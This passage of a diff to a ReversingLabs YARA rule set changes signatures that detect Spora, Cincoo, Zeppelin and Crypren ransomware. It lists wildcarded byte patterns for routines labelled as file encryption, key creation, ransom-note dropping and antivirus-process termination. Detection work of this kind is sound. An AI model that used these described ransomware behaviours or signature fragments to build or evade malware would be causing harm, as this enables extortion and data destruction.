-            ?? ?? ?? C3 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 FF B5
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E
-            5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 51 FF B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 51
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85
-            C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 69 0F ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ??
-            ?? ?? BA ?? ?? ?? ?? 03 48 ?? 8D 85 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? 85 C0 74 ?? BA
-            ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
+		$terminate_antivirus_processes_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B D9 C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? 33 C0 C7 43 ?? ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 66 89 03 89
+            45 ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
         }
-		$encryption_loop_1_3 = {
-            69 37 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 70 ?? E8 ?? ?? ?? ?? 8B 95 ??
-            ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 81 CB ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 78 ?? 8D
-            4A ?? 89 08 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ??
-            B9 ?? ?? ?? ?? F3 A5 66 A5 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ??
-            ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            C6 45 ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 56 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4
-            ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B BD ??
-            ?? ?? ?? 8B 8D ?? ?? ?? ?? FF 07 8B 07 89 41 ?? 69 17 ?? ?? ?? ?? 8B 41 ?? 80 A4 02
-            ?? ?? ?? ?? ?? 8B 01 48 39 07 75 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F
-            84 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8A 11 8B
-            C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? C3
+		$terminate_antivirus_processes_p2 = {
+            8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 49 ?? 33 F6 8B BC B5 ?? ?? ??
+            ?? 8D 85 ?? ?? ?? ?? 57 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 39 43 ?? 74 ?? 6A ?? 68 ??
+            ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 66 83 3F ?? 75 ?? 33 C0 EB ?? 8B C7 8D 50 ?? 8D 49 ??
+            66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 50 57 8B CB E8 ?? ?? ?? ?? 46 83 FE ??
+            72 ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 FF
+            15 ?? ?? ?? ?? 8B C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ??
+            ?? ?? ?? 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($remote_server_connection_1_0 and $remote_server_connection_1_1 and ( all of ($encryption_loop_1_*)))
+		uint16(0)==0x5A4D and ( all of ($terminate_antivirus_processes_p*)) and ($find_files) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Spora : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Cincoo : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Spora ransomware."
+		description = "Yara rule that detects Cincoo ransomware."
 		author = "ReversingLabs"
-		id = "f07ee1d4-d99b-5cbf-a1f0-a3802d9e3b47"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "c7c2773c-5056-5127-8af7-7f5c5a8ea8a1"
+		date = "2022-06-21"
+		modified = "2022-06-21"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Spora.yara#L1-L124"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "4e18bb42277ce9194bf75fa45d95ea7e2bd51c5d7791d3d6e013fc07626e65b0"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Cincoo.yara#L1-L78"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "6a7562cae90754ea75a9fb98ce73ebdb9acf1ad7f28f2240abe6cb592d717ca3"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -29072,122 +30843,71 @@ rule REVERSINGLABS_Win32_Ransomware_Spora : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Spora"
+		tc_detection_name = "Cincoo"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files = {
-            55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 57 FF 75 ?? 33 FF 89 7D ?? FF 15 ?? ?? ?? ?? 83 F8
-            ?? 0F 84 ?? ?? ?? ?? A8 ?? 74 ?? 83 E0 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 53 56 57 BE
-            ?? ?? ?? ?? 56 6A ?? 57 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB
-            ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 53 89 7D ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 0F
-            82 ?? ?? ?? ?? 6A ?? 57 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ??
-            ?? 57 8D 45 ?? 50 56 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 39 75
-            ?? 0F 85 ?? ?? ?? ?? 57 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F
-            84 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 3B
-            45 ?? 0F 84 ?? ?? ?? ?? 39 7D ?? 74 ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? B9 ?? ??
-            ?? ?? 3B C1 72 ?? 89 4D ?? EB ?? 83 E0 ?? 89 45 ?? 57 FF 75 ?? 57 6A ?? 57 53 FF 15
-            ?? ?? ?? ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? FF 75 ?? 57 57 6A ?? 50 FF 15 ?? ?? ??
-            ?? 89 45 ?? 3B C7 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ??
-            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 57 6A ?? 57 FF
-            75 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ?? 50 8D 45 ?? 50 57 6A ?? 57
-            FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 57 57
-            57 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56 8D 45 ?? 50 57 FF 15 ?? ?? ?? ?? 6A ??
-            57 57 53 89 45 ?? FF 15 ?? ?? ?? ?? 57 8D 45 ?? 50 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 50
-            53 FF D6 57 8D 45 ?? 50 6A ?? 8D 45 ?? 50 53 FF D6 C7 45 ?? ?? ?? ?? ?? FF 75 ?? FF
-            15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? C7 45 ??
-            ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 5E 5B 8B 45 ?? 5F 83 C5 ?? C9 C2
-        }
-		$create_key_file = {
-            55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? 33 F6 89 75 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F
-            84 ?? ?? ?? ?? 57 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF 75 ?? BF ?? ?? ?? ?? 89 7D
-            ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 8D 45 ?? 50 8D 45
-            ?? 50 56 6A ?? 56 FF 35 ?? ?? ?? ?? FF D7 FF 75 ?? FF 15 ?? ?? ?? ?? 83 E0 ?? 83 C0
-            ?? 50 89 45 ?? 8D 45 ?? 50 FF 75 ?? 56 56 56 FF 75 ?? FF D7 85 C0 0F 84 ?? ?? ?? ??
-            53 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D3 8B F8 3B FE 0F 84 ?? ?? ?? ?? 56 6A
-            ?? 57 56 FF 15 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D 04 47 50
-            FF 15 ?? ?? ?? ?? 83 C4 ?? 56 6A ?? 6A ?? 56 56 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ??
-            89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 8D 4D ?? 51 FF 75 ?? FF 75 ?? 50 FF 15 ?? ??
-            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 68
-            ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 81 7D ??
-            ?? ?? ?? ?? 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? C7 45 ?? ?? ?? ?? ?? 57 68 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF D3 8B D8 3B DE 74 ?? 89 75 ?? 8B 45
-            ?? 56 FF 74 85 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF 75 ?? 68 ?? ?? ?? ?? 53 FF
-            15 ?? ?? ?? ?? 8D 04 43 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 56 53 57 FF 15 ?? ?? ?? ?? FF
-            45 ?? 83 7D ?? ?? 72 ?? 53 FF 15 ?? ?? ?? ?? EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 57 FF
-            15 ?? ?? ?? ?? 5B FF 75 ?? FF 15 ?? ?? ?? ?? 5F 8B 45 ?? 5E 83 C5 ?? C9 C2
-        }
-		$create_key = {
-            55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 56 8D 45 ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 53 57 8D 45 ?? 50 8D 45 ?? 50
-            33 DB 53 6A ?? 53 FF 75 ?? BE ?? ?? ?? ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ??
-            ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 53 6A ?? 53 FF 35 ?? ?? ?? ??
-            FF D6 FF 75 ?? FF 15 ?? ?? ?? ?? 83 E0 ?? 83 C0 ?? 50 89 45 ?? 8D 45 ?? 50 FF 75 ??
-            53 53 53 FF 75 ?? FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 8B 35 ?? ?? ?? ??
-            03 C8 51 6A ?? FF D6 8B F8 89 7D ?? 3B FB 0F 84 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 57 FF
-            15 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 8B 45 ?? 03 C7 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 83
-            C4 ?? 8D 45 ?? 50 8B 45 ?? 53 6A ?? 03 C8 51 57 8B 3D ?? ?? ?? ?? FF D7 85 C0 74 ??
-            FF 75 ?? 6A ?? FF D6 8B F0 3B F3 74 ?? 8B 4D ?? 8D 45 ?? 50 8B 45 ?? 56 6A ?? 03 C8
-            51 FF 75 ?? FF D7 33 FF 38 1E 74 ?? 8B C6 80 38 ?? 75 ?? 40 40 8A 08 88 0C 37 47 40
-            38 18 75 ?? 88 1C 37 EB ?? 8B 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? EB ?? 8B 75 ?? FF 75
-            ?? FF 15 ?? ?? ?? ?? 5F 5B EB ?? 8B 75 ?? 8B C6 5E 83 C5 ?? C9 C2
+		$find_files = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
+            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 55 ?? 8B D9 83 7B ?? ?? 8B F3 8B 45 ?? 8B 7D
+            ?? 89 45 ?? 72 ?? 8B 33 8D 4E ?? 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 0F 84
+            ?? ?? ?? ?? 3B 73 ?? 0F 85 ?? ?? ?? ?? 88 45 ?? 8D 55 ?? FF 75 ?? 8D 4D ?? C7 45 ??
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? C7 45 ?? ?? ?? ??
+            ?? 50 8B CB E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B
+            C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ??
+            ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7B ?? ?? 72 ?? 8B 1B 8B 75 ?? 57 56 53 E8 ?? ??
+            ?? ?? 85 C0 75 ?? 8B 36 8B CF E8 ?? ?? ?? ?? 84 C0 74 ?? 57 56 E8 ?? ?? ?? ?? 85 C0
+            75 ?? 8B CF E8 ?? ?? ?? ?? 84 C0 75 ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E
+            5B 8B E5 5D C3
         }
-		$create_lst_file = {
-            55 8D 6C 24 ?? 81 EC ?? ?? ?? ?? 53 56 68 ?? ?? ?? ?? 33 F6 6A ?? 89 75 ?? FF 15 ??
-            ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8B 45 ?? 8B 38 8D 45
-            ?? 50 53 83 C7 ?? FF 15 ?? ?? ?? ?? 03 C0 50 53 FF 75 ?? FF 17 8B 45 ?? 8B 08 8D 55
-            ?? 52 6A ?? 68 ?? ?? ?? ?? 50 FF 51 ?? 53 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 45 ?? 8B 08
-            8D 55 ?? 52 6A ?? 68 ?? ?? ?? ?? 50 FF 51 ?? 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ??
-            85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ??
-            8B 3D ?? ?? ?? ?? 56 56 56 56 6A ?? 50 56 68 ?? ?? ?? ?? FF D7 89 45 ?? 3B C6 0F 84
-            ?? ?? ?? ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 56
-            56 FF 75 ?? 50 6A ?? FF 75 ?? 56 68 ?? ?? ?? ?? FF D7 8D 45 ?? 50 6A ?? 68 ?? ?? ??
-            ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 E0 ?? 83
-            C0 ?? 89 45 ?? 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF 75 ?? BF ?? ?? ?? ?? 89 7D ??
-            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 57 8D 45 ?? 50 8D 45 ?? 50 56 6A ?? 56 FF
-            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 FF 75 ?? 56 56
-            56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 6A ?? 53 56 FF 15 ?? ?? ??
-            ?? FF 75 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8D 04 43 50 FF 15 ?? ?? ?? ?? 83 C4
-            ?? 57 53 FF 15 ?? ?? ?? ?? 56 6A ?? 6A ?? 56 56 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ??
-            89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 56 8D 4D ?? 51 FF 75 ?? FF 75 ?? 50 FF 15 ?? ??
-            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 0F 85 ?? ?? ?? ?? 56 8D 45 ?? 50 57
-            8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 7D ?? 75 ?? FF 75 ?? C7 45 ??
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 75 ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 3B FE 74 ?? 56 6A ?? 57 56 FF 15 ?? ?? ?? ?? 85 C0
-            74 ?? FF 75 ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8D 04 47 50 FF 15 ?? ?? ?? ?? 83
-            C4 ?? 56 57 53 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? EB ?? FF 75 ?? FF 15 ?? ?? ??
-            ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ??
-            5F 8B 45 ?? 8B 08 50 FF 51 ?? 53 FF 15 ?? ?? ?? ?? 8B 45 ?? 5E 5B 83 C5 ?? C9 C2
+		$encrypt_files = {
+            55 8B EC 83 EC ?? 8B 45 ?? 53 8B D9 89 45 ?? B9 ?? ?? ?? ?? 8B C1 56 8B 53 ?? 2B C2
+            8B 75 ?? 89 55 ?? 57 3B C6 0F 82 ?? ?? ?? ?? 8B 7B ?? 8D 04 32 8B F0 89 45 ?? 83 CE
+            ?? 89 7D ?? 3B F1 76 ?? 8B F1 EB ?? 8B C7 D1 E8 2B C8 3B F9 76 ?? BE ?? ?? ?? ?? EB
+            ?? 03 C7 3B F0 0F 42 F0 33 C9 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 81 F9 ?? ?? ?? ??
+            72 ?? 8D 41 ?? 3B C1 0F 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ??
+            ?? ?? 8B 55 ?? 8D 78 ?? 83 E7 ?? 89 47 ?? EB ?? 85 C9 74 ?? 51 E8 ?? ?? ?? ?? 8B 55
+            ?? 83 C4 ?? 8B F8 EB ?? 33 FF 8B 45 ?? 89 43 ?? 8B 45 ?? 89 73 ?? 8D 34 3A 03 C6 83
+            7D ?? ?? 89 45 ?? 52 72 ?? 8B 33 56 57 E8 ?? ?? ?? ?? FF 75 ?? 8B 45 ?? FF 75 ?? 03
+            C7 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 4D ?? 41 C6 00 ?? 81 F9 ?? ?? ?? ?? 72 ??
+            8B 56 ?? 83 C1 ?? 2B F2 8D 46 ?? 83 F8 ?? 77 ?? 8B F2 51 56 E8 ?? ?? ?? ?? 83 C4 ??
+            89 3B 8B C3 5F 5E 5B 8B E5 5D C2 ?? ?? 53 57 E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 56 E8
+            ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? C6 00 ?? 8B C3 89 3B 5F 5E 5B 8B E5 5D C2 ?? ?? E8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC CC CC 56 8B F1 FF 76 ?? E8 ?? ?? ?? ?? 8B
+            4E ?? 83 F9 ?? 72 ?? 8B 06 8D 0C 4D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83
+            C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ??
+            ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? 66 89 06 5E C3 E8 ?? ?? ?? ?? CC CC CC CC CC CC
+            8B 09 85 C9 74 ?? 8B 01 6A ?? FF 10 C3
         }
-		$enumerate_resources = {
-            55 8B EC 83 EC ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85
-            ?? ?? ?? ?? 53 8B 1D ?? ?? ?? ?? 56 57 BE ?? ?? ?? ?? 56 6A ?? FF D3 8B F8 89 7D ??
-            85 FF [2-8] 83 4D ?? ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? 89 75 ?? E8
-            ?? ?? ?? ?? 85 C0 75 ?? 39 45 ?? 74 ?? 8D 77 ?? F6 46 ?? ?? 74 ?? 8D 46 ?? 50 [0-3]
-            E8 ?? ?? ?? ?? EB ?? 83 7E ?? ?? 75 ?? FF 36 FF 15 ?? ?? ?? ?? 8D 44 00 ?? 50 6A
-            ?? FF D3 8B F8 85 FF 74 ?? FF 36 57 FF 15 ?? ?? ?? ?? [0-5] 57 E8 ?? ?? ??
-            ?? 57 FF 15 ?? ?? ?? ?? 83 C6 ?? FF 4D ?? 75 ?? 8B 7D ?? 57 FF 15 ?? ?? ?? ?? FF 75
-            ?? E8 ?? ?? ?? ?? 5F 5E 5B C9 C2
+		$drop_ransom_note = {
+            52 51 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 8D 4D ?? C6 46 ?? ??
+            E8 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B CE C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84
+            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ??
+            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 8D
+            4E ?? 50 E8 ?? ?? ?? ?? 81 CF ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ??
+            ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 89 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 83 F8 ??
+            72 ?? 83 FA ?? 8D B5 ?? ?? ?? ?? 8D 41 ?? 0F 43 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D
+            04 0E 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 44 30 ?? ?? 8D 85 ?? ?? ?? ??
+            EB
         }
 
 	condition:
-		uint16(0)==0x5A4D and (($create_key_file and $create_lst_file and $enumerate_resources and $encrypt_files) or ($create_key and $enumerate_resources and $encrypt_files))
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($drop_ransom_note)
 }
-rule REVERSINGLABS_Win32_Ransomware_Crypren : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Zeppelin : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Crypren ransomware."
+		description = "Yara rule that detects Zeppelin ransomware."
 		author = "ReversingLabs"
-		id = "9a6ff190-b26b-5b75-9103-95a3b2e80701"
+		id = "f5cf514d-4dd0-58b7-82d0-5cb516a139a3"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Crypren.yara#L1-L144"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "7047d48782762e42544063fde6f2be62eb19f22853ea84abb5bce67c962da172"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Zeppelin.yara#L1-L109"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "8fb07e49d2ff9d497fb36a5d901748315ae519f5ef845d1a5ec6341d0eb1f68c"
 		score = 75
 		quality = 90
